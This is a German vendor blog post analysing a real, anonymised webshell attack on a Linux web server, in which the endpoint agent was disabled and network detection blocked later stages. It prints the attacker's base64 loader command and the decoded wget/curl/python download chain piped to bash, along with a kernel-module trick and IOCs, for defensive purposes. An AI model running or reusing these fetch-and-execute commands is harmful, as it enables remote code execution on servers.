Home NDR Monitoring DNS Shield UEBA Analytics RECON Scanner Blog Firma English (EN) Kontakt
arrow_back Zurück zum Blog
Incident Analysis / EDR & NDR18 Min. Lesezeit• 28. Juli 2026

Erkannt, aber nicht blockiert: Was ein Webshell-Angriff über die Lücke zwischen EDR und NDR verrät

Stefan Röthlisberger

Stefan Röthlisberger

Gründer & CEO, IRONATE

An einem Sonntagnachmittag im Juli 2026, startete auf einem Linux-Webserver eine Attacke, die einen Payload aus dem Internet holte und direkt an die Shell weiterreichte. Der Endpoint-Schutz erkannte das sofort: korrekt klassifiziert, hohe Konfidenz, sauber auf MITRE ATT&CK abgebildet. Dann wurde es still. Es blieb bei diesem einen einzigen Alarm, denn der Angreifer schaltete als nächstes den Agenten selbst aus. Die beiden folgenden Angriffswellen in den Nächten darauf erschienen in der Endpoint-Telemetrie nicht mehr. Sichtbar blieben sie nur dort, wo der Angreifer keinen Zugriff hatte: im Netzwerk. Dieser Beitrag zeigt anhand eines anonymisierten realen Vorfalls, warum eine Schutzschicht, die auf dem angegriffenen System selbst läuft, strukturell verwundbar bleibt, und was das für die Verteidigungsarchitektur bedeutet.

Der Vorfall im Zeitraffer

Der Einstieg erfolgte über eine kompromittierte PHP-Anwendung in einer Shared-Hosting-Umgebung. Das Muster passt zur AnonymousFox-Familie, einem seit Jahren aktiven Webshell- und Mass-Dropper-Ökosystem, das gezielt WordPress-, Joomla- und generische PHP-Installationen auf geteilten Servern befällt. Aus dem Kontext eines unprivilegierten Hosting-Kontos heraus rief ein php-cgi-Prozess eine Shell auf, die eine externe Nutzlast nachlud.

Der Endpoint-Schutz reagierte sofort. Der entstandene Bash-Prozess wurde als LNX-DET-SUSPICIOUS-INTERACTIVE-SHELL mit Priorität Hoch und Konfidenz Hoch erkannt, zugeordnet zu TA0001 Initial Access und T1190 Exploit Public-Facing Application. Ein Fall wurde automatisch eröffnet. Die Erkennungslogik funktionierte präzise und schnell. Sie tat genau das, was man von ihr erwartet.

Was nicht folgte, war eine Reaktion. Kein Prozessabbruch, keine Isolation, keine Blockade der Verbindung. Und weil der Angreifer damit ungestört weiterarbeiten konnte, nutzte er das Zeitfenster für den Zug, der den restlichen Vorfall prägte: Er lud über die Kernel-Modul-Schnittstelle Code in den Kernel und brachte den Endpoint-Agenten zum Schweigen. Ab diesem Moment war der Server aus Sicht der Endpoint-Konsole ein unauffälliges System.

Es blieb bei dem einen Alarm vom Sonntagnachmittag. Die zweite Welle in der Nacht auf Montag und die dritte in der Folgenacht, beide mit weiteren Nachladestufen von wechselnden Domains, erzeugten keine einzige Endpoint-Erkennung mehr. Dass sie stattgefunden haben, wissen wir aus zwei Quellen: aus den Netzwerkdaten, die ausserhalb des Hosts entstehen, und aus der forensischen Untersuchung, nachdem der Server vom Netz genommen worden war. Dort fand sich auch die Spur des Kernel-Zugriffs, ein modprobe-Aufruf mit dem Argument net-pf-38.

Zwei Dinge fallen an diesem Ablauf zusammen. Erstens lag er vollständig ausserhalb der Bürozeiten. Ein Angriff, der am Sonntagnachmittag beginnt und in der Nacht auf Montag weiterläuft, trifft auf niemanden, der einen Alarm quittieren könnte. Alles, was in diesem Fenster nicht automatisch geschieht, geschieht nicht. Zweitens hätte selbst eine sofortige Bearbeitung des einen Alarms danach kein Bild mehr geliefert, weil die Quelle dieses Bildes ausgeschaltet war. Wer nur den Endpunkt beobachtet, hat in diesem Vorfall exakt eine Momentaufnahme und danach zwei Nächte Dunkelheit.

Angriffsverlauf in vier Stufen und die Reaktion der beiden Schutzschichten Stufe 1 ist die Webshell in der PHP-Anwendung, Stufe 2 der fileless Download von einer rohen IP-Adresse am Sonntagnachmittag, Stufe 3 das Lahmlegen des Endpoint-Agenten über ein Kernel-Modul, Stufe 4 zwei weitere Nachladewellen in den folgenden Nächten. Der Endpoint-Schutz erzeugt genau einen Alarm, bei Stufe 2, und liefert ab Stufe 3 keine Telemetrie mehr. Das NDR erkennt Stufe 2 auf Netzwerkebene, setzt eine automatische Firewall-Sperrregel, ist vom Kernel-Zugriff nicht betroffen, weil es ausserhalb des Hosts läuft, und blockiert die Nachladeversuche von Stufe 4. Ein Alarm, dann Funkstille auf dem Endpunkt 1 · Webshell PHP-Anwendung, php-cgi Zeitpunkt unbekannt 2 · Download HTTP zu roher IP, als .png Sonntag 16:45:52 3 · EDR-Kill Kernel-Modul, Agent stumm T1562.001 / T1547.006 4 · Nachladen 2 Wellen, /.p7/ und /.llm/ die zwei Folgenächte ENDPOINT-SCHUTZ (XDR) kein Alarm Vektor nicht sichtbar Alarm: Hoch / Hoch der einzige des Vorfalls Sensor ausgeschaltet Telemetrie endet hier kein Alarm blind, zwei Nächte Ein Alarm ohne Blockade, danach keine Sichtbarkeit mehr: Der Agent läuft auf dem System, das er schützen soll. IRONATE NDR kein Netzwerkereignis lokal auf dem Host Erkannt + Auto-Response DENY-Regel via Firewall-API nicht betroffen läuft ausserhalb des Hosts beide blockiert Nachladen scheitert Der Angreifer kann eine Schicht nicht abschalten, auf die er keinen Zugriff hat. Reaktion in Sekunden, rund um die Uhr. Stufe 1 bleibt in beiden Spuren ein Thema für Anwendungssicherheit und Schwachstellenmanagement, nicht für die Detektion.
Abbildung 1: Derselbe Angriff, zwei Reaktionsmuster. Die Erkennungsqualität des Endpoint-Schutzes war hoch, aber nach dem Kernel-Zugriff war die Quelle dieser Erkennung ausgeschaltet. Die Netzwerkschicht liess sich nicht abschalten. Grafik: IRONATE.

Die Nutzlast, dekodiert

Der eigentliche Befehl war in base64 verpackt, ein einfacher, aber wirksamer Trick gegen naive Zeichenkettensuchen in Logs und Kommandozeilen. Aufgezeichnet wurde eine Kommandozeile dieser Form:

Prozess-Kommandozeile, wie protokolliert
sh -c echo KHdnZXQgLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSAtVCA2MDAgLXQgMiAtcU8t… | base64 -d | bash 2>&1

Dekodiert man den Block statisch, ohne ihn auszuführen, kommt eine bemerkenswert robust gebaute Downloader-Kette zum Vorschein:

Dekodierter Inhalt (Adresse entschärft dargestellt)
(wget --no-check-certificate -T 600 -t 2 -qO- hxxp://212.83.185[.]19/bottom-zs.png
 || curl -m 600 -fsSL -k        hxxp://212.83.185[.]19/bottom-zs.png
 || python3 -c "import urllib.request as u;print(u.urlopen('hxxp://212.83.185[.]19/bottom-zs.png').read().decode())"
 || python  -c "import urllib2 as u;print(u.urlopen('hxxp://212.83.185[.]19/bottom-zs.png').read())"
) | bash

Vier Details daran verdienen Aufmerksamkeit, weil sie erklären, warum diese Kette am Endpunkt so schwer zu stoppen ist:

  • looks_oneVier Fallback-Methoden. wget, curl, Python 3 und Python 2 werden nacheinander versucht. Es reicht, wenn eines davon auf dem Zielsystem vorhanden ist, und auf einem Webserver ist praktisch immer mindestens eines vorhanden. Das Entfernen einzelner Werkzeuge als Härtungsmassnahme läuft damit ins Leere.
  • looks_twoKein Schreibvorgang auf die Festplatte. -qO- und -fsSL schreiben nach stdout, die Ausgabe geht per Pipe direkt an bash. Die Nutzlast der ersten Stufe existiert nur im Arbeitsspeicher. Ein dateibasierter On-Access-Scan hat schlicht nichts zu prüfen, selbst wenn er aktiviert ist.
  • looks_3Zertifikatsprüfung deaktiviert. --no-check-certificate und -k nehmen jedes Zertifikat an. Der Angreifer plant für den Fall, dass unterwegs etwas aufbricht oder umleitet, und will nicht an TLS-Fehlern scheitern.
  • looks_4Getarnte Dateiendung. Die URL endet auf .png, der Inhalt ist ein Shell-Skript. Diese Diskrepanz zwischen erwartetem und tatsächlichem Inhaltstyp ist am Endpunkt irrelevant, weil dort nie eine Datei entsteht. Auf der Leitung ist sie ein Volltreffer.
Der fileless Ausführungspfad und die einzige Stelle, an der er unterbrechbar ist Die Kette verläuft von php-cgi über sh und base64-Dekodierung zum Downloader mit vier Fallback-Methoden und endet in einer Pipe an bash. Weil die Nutzlast nie auf die Festplatte geschrieben wird, findet ein dateibasierter Scan nichts. Der HTTP-Abruf über Port 80 ist dagegen im Klartext sichtbar und in Echtzeit blockierbar. Nichts auf der Platte, alles auf der Leitung php-cgi Hosting-Kontext sh -c base64-Blob base64 -d Klartextbefehl Download wget|curl|python | bash nur im RAM Ebene Dateisystem Die Nutzlast der ersten Stufe wird nie geschrieben. Ein On-Access-Scan hat nichts zu prüfen, und ein Pfadausschluss auf temporäre Verzeichnisse würde die späteren Stufen zusätzlich ausblenden. Ebene Netzwerk Der HTTP-Abruf über Port 80 ist unvermeidbar, unverschlüsselt und in Echtzeit unterbrechbar. Ohne diesen Abruf gibt es keine zweite Stufe, unabhängig davon, was am Endpunkt konfiguriert ist. Zusätzlich: TLS-Prüfung deaktiviert, gefälschter Mobile-User-Agent und gefälschter Suchmaschinen-Referer aus einem Serverprozess heraus.
Abbildung 2: Warum dateibasierte Kontrollen bei dieser Kette strukturell zu spät kommen und die Netzwerkebene der einzige verlässliche Unterbrechungspunkt bleibt. Grafik: IRONATE.

Ein weiteres Tarnungsdetail zeigte sich in den späteren Abrufen: Die Anfragen trugen einen gefälschten iPhone-User-Agent und den Referer https://google.com/. Das soll in Webserver-Logs nach normalem Besucherverkehr aussehen. Aus Netzwerksicht ist es das Gegenteil von unauffällig: Ein Serverprozess, der sich als mobiler Safari-Browser ausgibt und dabei behauptet, von einer Suchmaschine zu kommen, ist ein Profil, das im Normalbetrieb schlicht nicht vorkommt.

Der Griff zum Kernel: wie der Agent zum Schweigen kam

Der Wendepunkt des Vorfalls ist der Moment, in dem der Angreifer aufhört, sich zu verstecken, und stattdessen den Beobachter angreift. Der forensische Befund dazu ist ein modprobe-Aufruf mit dem Argument net-pf-38. Dahinter steckt ein bekannter Mechanismus: Öffnet ein Prozess einen Socket für eine ungewöhnliche Protokollfamilie, lädt der Kernel das passende Modul automatisch nach. Das ist der Türöffner, um eigenen Code in den Kernel zu bringen, ohne ihn selbst explizit laden zu müssen. MITRE führt das unter T1547.006 (Kernel Modules and Extensions), die Wirkung unter T1562.001 (Impair Defenses: Disable or Modify Tools).

Unter Windows kennt man dieses Vorgehen als BYOVD, Bring Your Own Vulnerable Driver: Der Angreifer bringt einen legitim signierten, aber verwundbaren Treiber mit und benutzt dessen Kernel-Rechte, um den Sicherheits-Agenten zu beenden oder seine Hooks auszuhängen. Auf Linux gibt es keine Treibersignaturen im Windows-Sinn, das Ziel ist aber dasselbe und der Weg führt über Kernel-Module. Wer im Kernel ist, steht über jedem Prozess im User-Space, und ein Endpoint-Agent ist ein Prozess im User-Space, dessen Sichtbarkeit von Kernel-Schnittstellen abhängt, die derselbe Kernel bereitstellt.

Genau darin liegt die strukturelle Schwäche, und sie ist nicht produktspezifisch. Ein Agent schützt das System, auf dem er selbst ausgeführt wird. Er teilt mit dem Angreifer die Maschine, den Kernel und ab einem bestimmten Rechteniveau die Vertrauensdomäne. Erreicht der Angreifer dieses Niveau, ist der Agent nicht mehr Gegner, sondern Ziel: beendbar, blendbar, manipulierbar. Das gilt für jedes agentenbasierte Produkt, unabhängig vom Hersteller, und es ist der Grund, warum EDR-Killer zu einer eigenen Werkzeugkategorie geworden sind.

Für die Verteidigung folgt daraus eine unbequeme Konsequenz: Die Abwesenheit von Alarmen ist keine Information. Ein Endpunkt, der ab einem bestimmten Zeitpunkt keine Erkennungen mehr liefert, kann sauber sein oder erobert. Von der Konsole aus sehen beide Zustände identisch aus. Nach dem einen Alarm vom Sonntag hätte man nur aus dem Ausbleiben weiterer Meldungen schliessen können, dass sich das Problem erledigt hat. Das Gegenteil war der Fall.

Die zwei Wellen, die niemand am Endpunkt sah

Nach dem Kernel-Zugriff kehrte der Angreifer zweimal zurück und lud jeweils von einer anderen Adresse nach: einmal von einer Domain-Variante des ursprünglichen Namens, einmal von der ursprünglichen Domain selbst, beide mit versteckten Pfaden, die mit einem Punkt beginnen (/.p7/ und /.llm/). Das ist eine gängige Redundanzstrategie: Wird ein Name gesperrt, greift der nächste. Für die Verteidigung heisst das, dass eine Sperre auf Ebene einzelner Domains immer hinterherläuft, während eine Sperre auf Ebene der Kommunikationsbeziehung sofort wirkt.

Beide Wellen hinterliessen am Endpunkt keine Spur in der Telemetrie. Auf der Leitung hinterliessen sie eine vollständige: Verbindungsaufbau, Ziel, Pfad, Header, Volumen und Zeitpunkt. Der Angreifer hatte die eine Beobachtungsschicht ausgeschaltet und die andere nicht einmal bemerkt, weil sie nicht auf seinem Server lag.

Warum der Endpoint-Schutz nicht blockiert hat

Der wichtigste Befund zuerst, weil er gegen die Erwartung läuft: Es war kein Erkennungsversagen. Die eingesetzte Lösung, in diesem Fall Sophos XDR mit dem Server Protection Agent für Linux, hat den Angriff sofort erkannt, korrekt benannt und sauber auf ATT&CK abgebildet. Das ist eine gute Leistung. Entscheidend ist, was in der Minute danach nicht passierte, denn dieses Zeitfenster war es, das dem Angreifer den Zugriff auf den Kernel und damit auf den Agenten selbst ermöglichte. Die Blockade blieb aus vier Gründen aus, die sich alle nicht auf die Erkennungsqualität beziehen.

block
1. Netzwerk- und Webschutz existieren auf dieser Plattform nicht. IPS, C2-Erkennung, Schutz vor schädlichen Downloads und URL-Reputationsprüfung sind in dieser Produktfamilie ausschliesslich für Windows und macOS verfügbar. Für Linux-Server gibt es sie schlicht nicht. Der initiale Abruf hätte am Endpunkt also unter keinen Umständen unterbunden werden können, egal wie die Richtlinie konfiguriert gewesen wäre. Das ist keine Fehleinstellung, sondern eine Produktgrenze, die man kennen und kompensieren muss.
visibility
2. Die Linux-Laufzeiterkennung arbeitet rein detektiv. Sie war aktiv, sie hat funktioniert, und sie war der Grund, warum der Vorfall überhaupt sichtbar wurde. Sie beendet aber keine Prozesse, isoliert keine Hosts und kappt keine Verbindungen. Zwischen «wir wissen es» und «es hört auf» klafft in dieser Konfiguration eine Lücke, die nur ein Mensch oder eine externe Automatisierung schliessen kann. In diesem Vorfall war das die teuerste der vier Lücken, weil der Angreifer sie nutzte, um genau diese Erkennungsfunktion abzuschalten.
toggle_off
3. Policy-Drift bei den Kernschutzfunktionen. Die angewendete Server-Richtlinie zeigte selbst eine Warnung an, dass empfohlene Schutzeinstellungen deaktiviert sind: Echtzeit-Scan, Deep Learning, CryptoGuard, Bedrohungsgraph und Security Heartbeat waren aus. Solche Abschaltungen entstehen fast immer aus einem realen betrieblichen Grund, etwa Performance auf I/O-lastigen Hosting-Systemen, und werden dann nie wieder überprüft. Der abgeschaltete Heartbeat verhinderte zusätzlich, dass eine angebundene Firewall automatisch auf den kompromittierten Zustand hätte reagieren können.
rule_folder
4. Ein Pfadausschluss auf genau den genutzten Ablageort. In der Richtlinie fand sich eine Ausnahme für temporäre PHP-Dateien. Die späteren Payload-Stufen wurden in genau diesem temporären Verzeichnis abgelegt. Ausschlüsse sind der am schlechtesten dokumentierte Teil jeder Endpoint-Konfiguration und gleichzeitig der Teil, den Angreifer am zuverlässigsten treffen, weil sie dieselben Standardpfade nutzen wie alle anderen auch.

Dazu kommt der Faktor, der alle vier verstärkt: das Zeitfenster. Sonntagnachmittag bis Montagnacht. Ohne 24/7-Abdeckung oder automatisierte Reaktion ist ein Alarm in diesem Fenster genau das, ein Alarm. Wer nur eine Detektionsschicht ohne Durchgriff betreibt, verlässt sich implizit darauf, dass Angreifer während der Bürozeiten arbeiten. Das tun sie nachweislich nicht.

Und dann kommt der fünfte Punkt, der die vier anderen erledigt: Nach dem Kernel-Zugriff war die Frage der Konfiguration gegenstandslos. Man kann eine Richtlinie härten, Ausschlüsse entfernen, Deep Learning und CryptoGuard reaktivieren und Blockiermodi einschalten. Nichts davon hilft, wenn der Angreifer den Agenten stilllegt, der all diese Funktionen ausführen soll. Eine Schutzschicht, die auf dem Zielsystem läuft, ist immer nur so stark wie das schwächste Rechteproblem dieses Systems. Deshalb ist die Antwort auf diesen Vorfall keine bessere Endpoint-Konfiguration, sondern eine zweite Beobachtungsebene ausserhalb der Reichweite des Angreifers.

Was das NDR gesehen und getan hat

Auf Netzwerkebene stellte sich derselbe Vorgang völlig anders dar, und zwar über den ganzen Vorfall hinweg, nicht nur in der ersten Minute. Das liegt nicht daran, dass das NDR «besser» erkennt, sondern an zwei Eigenschaften: Es stellt eine andere Frage, und es steht an einem anderen Ort. Der Endpunkt fragt: Ist dieser Prozess bösartig? Das Netzwerk fragt: Ist diese Kommunikationsbeziehung normal? Und es tut das von einem Sensor aus, der am Mirror-Port oder TAP hängt, nicht auf dem kompromittierten Server. Der Angreifer hätte Root-Zugriff auf einer ganz anderen Maschine gebraucht, um diese Sicht zu beeinflussen. Beim initialen Download war die Kommunikationsbeziehung in mehrfacher Hinsicht nicht normal.

Beobachtung auf der Leitung Warum das auffällt
HTTP auf Port 80 zu einer rohen IP-AdresseKeine vorgängige DNS-Auflösung, kein TLS. Produktivsysteme holen Software über Paketquellen und HTTPS, nicht über hartkodierte IP-Adressen im Klartext.
Skriptinhalt hinter einer Bild-EndungDie URL endet auf .png, übertragen wird ein Shell-Skript. Die Diskrepanz zwischen Endung, Content-Type und tatsächlichem Inhalt ist ein klassisches Tarnmuster.
Mobile-User-Agent aus einem ServerprozessEin gefälschter iPhone-Safari-Header samt Suchmaschinen-Referer, abgesetzt von einem Webserver. Ein Profil, das im legitimen Betrieb dieses Hosts nie vorkommt.
Erstkontakt zu einem neuen ZielFirst-Seen-Erkennung: Dieser Host hatte mit diesem Ziel und diesem Netzbereich zuvor nie gesprochen, weder in der Baseline noch in der Historie.
Treffer in den Threat-Intelligence-FeedsDie Zieladresse und die später genutzten Domains waren als Payload- und C2-Infrastruktur bekannt. Der Alert wurde automatisch mit dieser Reputation angereichert.
Ausgehender Verkehr aus einer DMZ-RolleEin Webserver ist eine Senke für eingehende Anfragen. Selbst initiierter Egress zu beliebigen Zielen widerspricht seiner Funktion und ist ein starkes Verhaltenssignal.

Aus diesen Signalen entstand ein Alert mit kritischem Bedrohungsscore und automatischer MITRE-ATT&CK-Zuordnung. Weil der Score die konfigurierte Schwelle überschritt, griff die Auto-Response: IRONATE NDR setzte über die REST-API der Perimeter-Firewall eine Sperrregel, in beide Richtungen, also sowohl für den betroffenen Host als Quelle als auch für das externe Ziel. Zwischen Erkennung und wirksamer Regel lagen Sekunden. Parallel wurde ein Incident im Case Management eröffnet und über Syslog an das SIEM weitergeleitet, mit vollständigem Audit-Trail.

Die Wirkung zeigte sich bei den Folgestufen: Die späteren Nachladeversuche liefen ins Leere. Der Angreifer hatte weiterhin seine Webshell und weiterhin seinen Kernel-Zugriff, aber keinen Transportweg mehr für neue Werkzeuge. Genau das ist der Unterschied zwischen einem Vorfall, den man am Montag aufräumt, und einem Vorfall, der über Nacht eskaliert.

Der eigentliche Punkt liegt aber nicht in der Blockade, sondern in der Kontinuität. Auch nachdem der Agent stillgelegt war, lief die Aufzeichnung weiter. Die beiden Folgewellen sind vollständig dokumentiert: mit Zeitpunkt, Ziel, Pfad und Header, obwohl der Server selbst zu diesem Zeitpunkt nichts mehr meldete. Diese Aufzeichnung war später die Grundlage für die Bestimmung des Vorfallumfangs. Ohne sie hätte man nach dem einen Alarm vom Sonntag vor einem System gestanden, das seit zwei Tagen schweigt, und keinen Weg gehabt, zwischen «bereinigt» und «vollständig übernommen» zu unterscheiden.

Von der Beobachtung zur automatischen Sperrregel Sechs unabhängige Netzwerkbeobachtungen, darunter HTTP zu einer rohen IP-Adresse ohne DNS, Skriptinhalt hinter einer Bild-Endung, ein Mobile-User-Agent aus einem Serverprozess, ein Erstkontakt zu einem neuen Ziel, ein Threat-Feed-Treffer und untypischer ausgehender Verkehr, werden von der NDR-Engine korreliert. Daraus entstehen eine Firewall-Sperrregel über REST-API, ein Alert mit MITRE-ATT&CK-Zuordnung und ein Incident im SOAR. Sechs Signale, eine Sperrregel, Sekunden HTTP zu roher IP, ohne DNS Skriptinhalt hinter .png-Endung Mobile-UA aus Serverprozess Erstkontakt zu neuem Ziel Threat-Feed-Treffer (IP/Domain) Egress aus DMZ-Rolle IRONATE NDR Korrelation & Scoring Score: kritisch Firewall-DENY via API Quelle und Ziel, beide Richtungen Alert mit ATT&CK-Bezug T1190, T1105, T1071.001, T1547.006 Incident an SOAR / SIEM Case, Syslog, Audit-Trail Kein Agent auf dem Host nötig, keine Abhängigkeit von Bürozeiten, keine Möglichkeit für den Angreifer, die Telemetrie zu löschen.
Abbildung 3: Der Weg von der Netzwerkbeobachtung zur wirksamen Sperrregel. Die Firewall-Integration erfolgt über native Adapter für FortiGate, Palo Alto, Cisco und VMware NSX-T sowie einen generischen REST-Adapter. Grafik: IRONATE.

NDR und EDR im Vergleich: warum sie keine Alternativen sind

Es wäre die falsche Lehre aus diesem Vorfall, den Endpoint-Schutz für überflüssig zu erklären. Ohne ihn wüssten wir nicht, welcher Prozess unter welchem Konto welche Kommandozeile ausgeführt hat, und die forensische Rekonstruktion wäre deutlich mühsamer gewesen. Die beiden Ebenen liefern unterschiedliche Wahrheiten über denselben Vorgang. Wer nur eine davon hat, sieht die halbe Geschichte.

Frage Endpoint (EDR/XDR) Netzwerk (NDR)
Welcher Prozess, welches Konto?vollständignicht sichtbar
Wohin geht der Verkehr, mit welchem Inhalt?plattformabhängig, auf Linux hier gar nichtvollständig
Braucht es einen Agenten auf dem System?ja, inklusive Support für OS und Kernelnein, passiv über Mirror-Port oder TAP
Wirkt ein Pfadausschluss?ja, er erzeugt einen blinden Flecknein, der Transport bleibt sichtbar
Kann der Angreifer die Beobachtung abschalten?ja, in diesem Vorfall geschehennein, der Sensor liegt auf einer anderen Maschine
Kann der Angreifer die Spuren löschen?ja, lokale Logs und Agent sind angreifbarnein, die Telemetrie liegt ausserhalb des Hosts
Läuft die Aufzeichnung nach dem Kill weiter?nein, zwei Nächte ohne Telemetrieja, lückenlos über den ganzen Vorfall
Automatische Blockade in diesem Fall?nein, Laufzeiterkennung rein detektivja, Sperrregel via Firewall-API
Deckt es Systeme ohne Agent ab?nein, etwa Appliances, OT, Gastgeräteja, alles was Pakete sendet

Die entscheidende Zeile ist die vierte von unten. Alle anderen Unterschiede sind Abwägungen, bei denen man je nach Umgebung zu verschiedenen Schlüssen kommen kann. Diese eine ist kategorisch: Eine Beobachtungsschicht, die der Angreifer abschalten kann, ist im Ernstfall genau dann nicht verfügbar, wenn man sie am dringendsten braucht. Es geht dabei nicht um Produktqualität, sondern um Topologie. Ein Agent sitzt innerhalb des Angriffsziels, ein Netzwerksensor daneben.

Diese Argumentation ist nicht neu, sie wird nur selten so vollständig belegt. Angreifer wissen längst, dass der Endpunkt die am besten überwachte Ebene ist, und richten ihre Werkzeuge entsprechend aus. Wir haben das im Beitrag zu EDR-Killern ausführlich beschrieben. Dieser Vorfall liefert dazu den praktischen Beleg, und zwar in der unangenehmsten Reihenfolge: Erst zeigte der Agent, dass er erkennen kann, dann wurde er ausgeschaltet, bevor jemand auf seine Erkenntnis reagieren konnte.

Was daraus konkret folgt

radar
Eine Beobachtungsebene, die der Angreifer nicht erreicht. IRONATE NDR analysiert 44 Log-Typen mit über 55 Detektoren agentenlos über Mirror-Port oder TAP. Weil der Sensor nicht auf dem überwachten System läuft, überlebt er dessen Kompromittierung. Genau die Systeme, auf denen ein Agent am wenigsten kann (Hosting-Server, Appliances, OT), sind damit abgedeckt. Die Auto-Response setzt bei kritischem Score selbstständig eine Sperrregel auf FortiGate, Palo Alto, Cisco oder NSX-T.
monitor_heart
Agenten-Lebenszeichen als Alarm behandeln. Richten Sie eine Regel ein, die anschlägt, wenn ein Endpunkt online ist, aber keine Telemetrie mehr liefert. Ein stiller Agent ist kein guter Zustand, sondern ein unbekannter. Weil der Endpunkt diese Meldung nicht über sich selbst machen kann, muss die Korrelation ausserhalb des Endpunkts stattfinden, im SIEM oder auf der Response-Ebene, mit der Netzwerksicht als Gegenprobe, ob das System noch kommuniziert.
swap_horiz
Egress-Filtering als Grundregel für exponierte Server. Ein Webserver braucht ausgehend die Paketquellen, ein paar definierte APIs und sonst nichts. Wäre der Egress auf eine Positivliste beschränkt gewesen, wäre der initiale Abruf schon an der Firewall gescheitert. Das ist die billigste Massnahme aus diesem ganzen Beitrag und die, die am häufigsten fehlt.
shield
DNS-Ebene als zweite unabhängige Sperre. Die späteren Stufen liefen über Domainnamen samt Variante. DNS Shield blockiert Malware-, Phishing- und C2-Kanäle bereits bei der Namensauflösung, mit über 95 Prozent Erkennungsrate, und greift damit noch vor dem ersten Paket zum Ziel. Warum diese Ebene in einem Zero-Trust-Konzept nicht fehlen darf, haben wir hier ausführlich beschrieben.
psychology
Verhaltensanalyse dort, wo ein Agent möglich ist. Auf Systemen, die einen Agenten tragen können, ergänzt UEBA die Netzwerksicht um On-Device-Detection in Millisekunden über mehr als 42 MITRE-ATT&CK-Techniken. Muster wie eine interaktive Shell aus einem Webserver-Prozess, ein plötzlicher Kernelmodul-Ladevorgang oder ungewöhnliche Dateizugriffe werden dort erkannt und gestoppt, statt nur protokolliert.
smart_toy
Automatisierte Eskalation statt Hoffnung auf Montagmorgen. Der Alarm fiel an einem Sonntagnachmittag. Alerts müssen deshalb ohne Wartezeit triagiert, nach Playbook isoliert und über Teams, Slack oder E-Mail eskaliert werden. Wer keine 24/7-Schicht stellen kann, braucht mindestens diesen automatisierten ersten Griff.
travel_explore
Die Eintrittstür kennen, bevor sie jemand nutzt. Der Einstieg war eine verwundbare, öffentlich erreichbare PHP-Anwendung. RECON kartiert exponierte Dienste, veraltete Komponenten und geleakte Zugangsdaten kontinuierlich und priorisiert nach EPSS und KEV, also nach realer Ausnutzbarkeit statt nach CVSS-Bauchgefühl.
fact_check
Endpoint-Richtlinien und Ausschlüsse jährlich prüfen. Deaktivierte Kernschutzfunktionen und Pfadausschlüsse sind technische Schulden mit Verfallsdatum. Wo eine Ausnahme betrieblich nötig ist, gehört sie so eng wie möglich gefasst und mit einer kompensierenden Massnahme hinterlegt, etwa einem noexec-Mount für temporäre Verzeichnisse.
lock
Den Weg in den Kernel verengen. Wo der Betrieb es zulässt, das dynamische Laden von Kernel-Modulen einschränken (kernel.modules_disabled nach dem Boot, Module Signature Enforcement, Kernel-Lockdown) und nicht benötigte Protokollfamilien über eine Modul-Blacklist sperren. Das nimmt genau jenem Schritt die Grundlage, mit dem in diesem Vorfall der Agent stillgelegt wurde.

Indicators of Compromise (IOCs)

Alle Angaben beziehen sich ausschliesslich auf externe Angreiferinfrastruktur und generische Angriffsmuster. Adressen sind entschärft dargestellt.

Typ Indikator Hinweis
IP212.83.185[.]19Payload-Host, HTTP/80
URLhxxp://212.83.185[.]19/bottom-zs.pngStufe 1, Shell-Skript mit Bild-Endung
Domaini30[.]bzC2 und Payload-Hosting
Domaini30bz[.]comAusweich-Variante
Domainpis[.]isim Umfeld der Kampagne beobachtet
Domainteam-gov[.]comim Umfeld der Kampagne beobachtet
URL-Pfad/.p7/19-SIPMLBNachladestufe, versteckter Pfad
URL-Pfad/.llm/3-CZHEJWNachladestufe, versteckter Pfad
URL-Pfad/.O/m.txt, /.O/x.txt, /.O/o.txt, /.O/f35.txtNachladepfade der Webshell-Familie
Dateiablage/tmp/<11 Zufallszeichen>.txtbeobachtet: UyJbvLw74pT.txt, BRLdX8qx2fr.txt
Prozessmustersh -c echo <base64> | base64 -d | bashfileless Loader
Prozessmustermodprobe net-pf-38Kernelmodul-Autoload zum Stilllegen des Agenten, T1547.006 / T1562.001
VerhaltensindikatorTelemetrie-Abriss bei erreichbarem Hoststiller Agent nach vorangehendem High-Alert
HTTP-HeaderiPhone/Safari-UA + Referer https://google.com/Tarnung serverseitiger Abrufe
Code-Mustereval(str_rot13(str_rot13(gzuncompress(base64_decode(Loader-Kette der Webshell-Familie
Datei-SignaturFoxCyberSecurity, <xleet>, <mailer>Familien- und Reporting-Marker
Konfigurations-Artefaktdisable_functions = NONE, Allow From All, index.php.bakgedroppte php.ini und .htaccess
Shell-Dateinamenanonymousfox.php, f35.php, she11.php, wso.php, c99.phptypische Drop-Namen (Auswahl)
science
Hinweis zur Triage: Verdächtige Loader nur statisch dekodieren (base64_decode, dann gzuncompress), niemals über eval ausführen. Anschliessend die Zeitstempel aller Funde clustern, um den Erstzugriff einzugrenzen, und bei geteilten Hosting-Umgebungen alle Vhosts desselben Servers mit denselben Mustern durchsuchen.

Häufige Fragen

Warum blockiert ein EDR oder XDR einen erkannten Angriff nicht automatisch?

Erkennung und Reaktion sind getrennte Fähigkeiten. Laufzeiterkennung auf Linux-Servern arbeitet in vielen Konfigurationen rein detektiv: Sie alarmiert mit hoher Konfidenz, beendet aber keine Prozesse und isoliert keine Hosts. Dazu kommen Plattformgrenzen. IPS, URL-Reputation und Download-Schutz sind in vielen Endpoint-Suiten nur für Windows und macOS verfügbar, für Linux gar nicht. Ein ausgehender Download lässt sich am Endpunkt dann technisch nicht unterbinden.

Ersetzt NDR den Endpoint-Schutz?

Nein. Der Endpunkt liefert Prozessabstammung, Benutzerkontext und Kommandozeilen, das Netzwerk liefert Transport, Ziel und Volumen. Im beschriebenen Fall lieferte der Endpoint-Schutz die korrekte Klassifizierung, das Netzwerk den Ansatzpunkt zum Unterbrechen und die durchgehende Aufzeichnung. NDR greift zusätzlich dort, wo kein Agent installiert ist, wo er nicht blockieren kann oder wo er ausgeschaltet wurde.

Wie kann ein Angreifer ein EDR ausschalten?

Indem er Rechte auf Kernel-Ebene erlangt. Unter Windows ist die bekannteste Variante BYOVD (Bring Your Own Vulnerable Driver): Ein legitim signierter, aber verwundbarer Treiber wird mitgebracht und seine Kernel-Rechte genutzt, um den Sicherheitsagenten zu beenden oder dessen Hooks auszuhängen. Auf Linux führt derselbe Weg über Kernel-Module, in diesem Vorfall über das automatische Nachladen eines Moduls für eine ungewöhnliche Protokollfamilie. Weil ein Agent ein Prozess auf dem angegriffenen System ist, steht Code im Kernel immer über ihm. MITRE führt das unter T1562.001.

